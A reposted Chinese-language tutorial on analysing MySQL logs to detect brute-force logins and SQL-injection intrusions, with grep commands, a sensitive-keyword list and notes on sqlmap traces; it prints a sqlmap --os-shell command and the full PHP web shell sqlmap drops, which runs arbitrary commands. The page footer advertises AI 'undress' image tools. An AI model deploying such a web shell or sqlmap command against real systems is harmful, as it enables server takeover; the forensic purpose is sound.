搜尋
首頁運維安全如何對資料庫日誌進行分析

如何對資料庫日誌進行分析

Jun 11, 2020 pm 05:20 PM
資料庫紀錄

如何對資料庫日誌進行分析

常見的資料庫攻擊包括弱口令、SQL注入、提升權限、竊取備份等。對資料庫日誌進行分析,可以發現攻擊行為,進一步還原攻擊場景及追溯攻擊來源。

一、Mysql日誌分析

general query log能記錄成功連接和每次執行的查詢,我們可以將它用作安全布防的一部分,為故障分析或駭客事件後的調查提供依據。

1、查看log設定資訊

show variables like '%general%';

2、開啟日誌

SET GLOBAL general_log = 'On';

3、指定日誌檔案路徑

SET GLOBAL general_log_file = '/var/lib/mysql/mysql.log';

例如,當我造訪/test .php?id=1,此時我們得到這樣的日誌:

190604 14:46:14       14 Connect    root@localhost on
                      14 Init DB    test   
                      14 Query    SELECT * FROM admin WHERE id = 1     
                      14 Quit

我們按列來解析一下:

第一列:Time,時間列,前面一個是日期,後面一個是小時和分鐘,有一些不顯示的原因是因為這些sql語句幾乎是同時執行的,所以就不另外記錄時間了。

第二列:Id,就是show processlist出來的第一列的線程ID,對於長連接和一些比較耗時的sql語句,你可以精確找出究竟是那一條那一個線程在運行。

第三列:Command,操作類型,例如Connect就是連接資料庫,Query就是查詢資料庫(增刪查改都顯示為查詢),可以特定過慮一些操作。

第四列:Argument,詳細信息,例如 Connect    root@localhost on 意思是連接資料庫,如此類推,接下面的連上資料庫之後,做了什麼查詢的操作。

二、登入成功/失敗

我們來做個簡單的測試吧,使用我以前自己開發的弱口令工具來掃一下,字典設定比較小,2個用戶,4個密碼,共8組。

如何對資料庫日誌進行分析

MySQL中的log記錄是這樣子:

Time                 Id        Command         Argument
190601 22:03:20     98 Connect  root@192.168.204.1 on
        98 Connect  Access denied for user 'root'@'192.168.204.1' (using password: YES)      
        103 Connect  mysql@192.168.204.1 on       
        103 Connect  Access denied for user 'mysql'@'192.168.204.1' (using password: YES)      
        104 Connect  mysql@192.168.204.1 on       
        104 Connect  Access denied for user 'mysql'@'192.168.204.1' (using password: YES)      
        100 Connect  root@192.168.204.1 on       
        101 Connect  root@192.168.204.1 on       
        101 Connect  Access denied for user 'root'@'192.168.204.1' (using password: YES)       
        99 Connect  root@192.168.204.1 on        
        99 Connect  Access denied for user 'root'@'192.168.204.1' (using password: YES)      
        105 Connect  mysql@192.168.204.1 on       
        105 Connect  Access denied for user 'mysql'@'192.168.204.1' (using password: YES)      
        100 Query  set autocommit=0      
        102 Connect  mysql@192.168.204.1 on       
        102 Connect  Access denied for user 'mysql'@'192.168.204.1' (using password: YES)      
        100 Quit

你知道在這個口令猜解過程中,哪個是成功的嗎?

利用爆破工具,一個口令猜解成功的記錄是這樣子的:

190601 22:03:20     100 Connectroot@192.168.204.1 on
   100 Queryset autocommit=0   
   100 Quit

但是,如果你是用其他方式,可能會有一點點不一樣的哦。

Navicat for MySQL登入:

190601 22:14:07  106 Connectroot@192.168.204.1 on         
         106 QuerySET NAMES utf8
         106 QuerySHOW VARIABLES LIKE 'lower_case_%'         
         106 QuerySHOW VARIABLES LIKE 'profiling'         
         106 QuerySHOW DATABASES

命令列登入:

190601 22:17:25  111 Connectroot@localhost on
         111 Queryselect @@version_comment limit 1
         190601 22:17:56  111 Quit

這個差異在於,不同的資料庫連線工具,它在連接資料庫初始化的過程中是不同的。透過這樣的差別,我們可以簡單判斷出使用者是透過連接資料庫的方式。

另外,不管你是爆破工具、Navicat for MySQL、還是命令列,登入失敗都是一樣的記錄。

登入失敗的記錄:

102 Connect  mysql@192.168.204.1 on 
102 Connect  Access denied for user 'mysql'@'192.168.204.1' (using password: YES)

利用shell指令進行簡單的分析:

有哪些IP在爆破?

grep  "Access denied" mysql.log |cut -d "'" -f4|uniq -c|sort -nr
     27 192.168.204.1

爆破使用者名字典都有哪些?

grep  "Access denied" mysql.log |cut -d "'" -f2|uniq -c|sort -
nr     13 mysql     12 root      1 root      1 mysql

在日誌分析中,特別需要注意一些敏感的操作行為,例如刪表、備庫,讀寫檔案等。

關鍵字:drop table、drop function、lock tables、unlock tables、load_file() 、into outfile、into dumpfile。
敏感資料庫表:SELECT * from mysql.user、SELECT * from mysql.func

三、SQL注入入侵痕跡

#使用SQL注入漏洞的過程中,我們會嘗試利用sqlmap的--os-shell參數來取得shell,如操作不慎,可能會留下一些sqlmap所建立的暫存表和自訂函數。我們先來看看sqlmap os-shell參數的用法以及原理:

1、建構一個SQL注入點,開啟Burp監聽8080埠

sqlmap.py  -u http://192.168.204.164/sql.php?id=1 --os-shell --proxy=http://127.0.0.1:8080

HTTP通訊過程如下:

如何對資料庫日誌進行分析

建立了一個暫存檔案tmpbwyov.php,透過存取這個木馬執行系統指令,並回到頁面展示。

tmpbwyov.php:
<?php $c=$_REQUEST["cmd"];@set_time_limit(0);@ignore_user_abort(1);@ini_set(&#39;max_execution_time&#39;,0);$z=@ini_get(&#39;disable_functions&#39;);if(!empty($z)){$z=preg_replace(&#39;/[, ]+/&#39;,&#39;,&#39;,$z);$z=explode(&#39;,&#39;,$z);$z=array_map(&#39;trim&#39;,$z);}else{$z=array();}$c=$c." 2>&1n";function f($n){global $z;return is_callable($n)and!in_array($n,$z);}if(f(&#39;system&#39;)){ob_start();system($c);$w=ob_get_contents();ob_end_clean();}elseif(f(&#39;proc_open&#39;)){$y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t);$w=NULL;while(!feof($t[1])){$w.=fread($t[1],512);}@proc_close($y);}elseif(f(&#39;shell_exec&#39;)){$w=shell_exec($c);}elseif(f(&#39;passthru&#39;)){ob_start();passthru($c);$w=ob_get_contents();ob_end_clean();}elseif(f(&#39;popen&#39;)){$x=popen($c,r);$w=NULL;if(is_resource($x)){while(!feof($x)){$w.=fread($x,512);}}@pclose($x);}elseif(f(&#39;exec&#39;)){$w=array();exec($c,$w);$w=join(chr(10),$w).chr(10);}else{$w=0;}print "<pre class="brush:php;toolbar:false">".$w."
";?>`

建立了一個臨時表sqlmapoutput,呼叫預存程序執行系統指令將資料寫入臨時表,然後取臨時表中的資料展示到前端。

透過查看網站目錄中最近新建的可疑文件,可以判斷是否曾經發生過sql注入漏洞攻擊事件。

檢查方法:

1、檢查網站目錄下,是否存在一些木馬檔案:

如何對資料庫日誌進行分析

2、檢查是否有UDF提權、MOF提權痕跡

檢查目錄是否有異常檔案

mysqllibpluginc:/windows/system32/wbem/mof/

檢查函數是否刪除

select * from mysql.func

3、結合web日誌分析。

推薦教學:web伺服器安全性

以上是如何對資料庫日誌進行分析的詳細內容。更多資訊請關注PHP中文網其他相關文章!

陳述
本文轉載於:安全脉搏。如有侵權,請聯絡admin@php.cn刪除

熱AI工具

Undresser.AI Undress

Undresser.AI Undress

人工智慧驅動的應用程序,用於創建逼真的裸體照片

AI Clothes Remover

AI Clothes Remover

用於從照片中去除衣服的線上人工智慧工具。

Undress AI Tool

Undress AI Tool

免費脫衣圖片

Clothoff.io

Clothoff.io

AI脫衣器

AI Hentai Generator

AI Hentai Generator

免費產生 AI 無盡。

熱門文章

R.E.P.O.能量晶體解釋及其做什麼(黃色晶體)
3 週前By尊渡假赌尊渡假赌尊渡假赌
R.E.P.O.最佳圖形設置
3 週前By尊渡假赌尊渡假赌尊渡假赌
R.E.P.O.如果您聽不到任何人,如何修復音頻
3 週前By尊渡假赌尊渡假赌尊渡假赌
WWE 2K25:如何解鎖Myrise中的所有內容
4 週前By尊渡假赌尊渡假赌尊渡假赌

熱工具

WebStorm Mac版

WebStorm Mac版

好用的JavaScript開發工具

SublimeText3漢化版

SublimeText3漢化版

中文版,非常好用

Dreamweaver Mac版

Dreamweaver Mac版

視覺化網頁開發工具

mPDF

mPDF

mPDF是一個PHP庫,可以從UTF-8編碼的HTML產生PDF檔案。原作者Ian Back編寫mPDF以從他的網站上「即時」輸出PDF文件,並處理不同的語言。與原始腳本如HTML2FPDF相比,它的速度較慢,並且在使用Unicode字體時產生的檔案較大,但支援CSS樣式等,並進行了大量增強。支援幾乎所有語言,包括RTL(阿拉伯語和希伯來語)和CJK(中日韓)。支援嵌套的區塊級元素(如P、DIV),

Atom編輯器mac版下載

Atom編輯器mac版下載

最受歡迎的的開源編輯器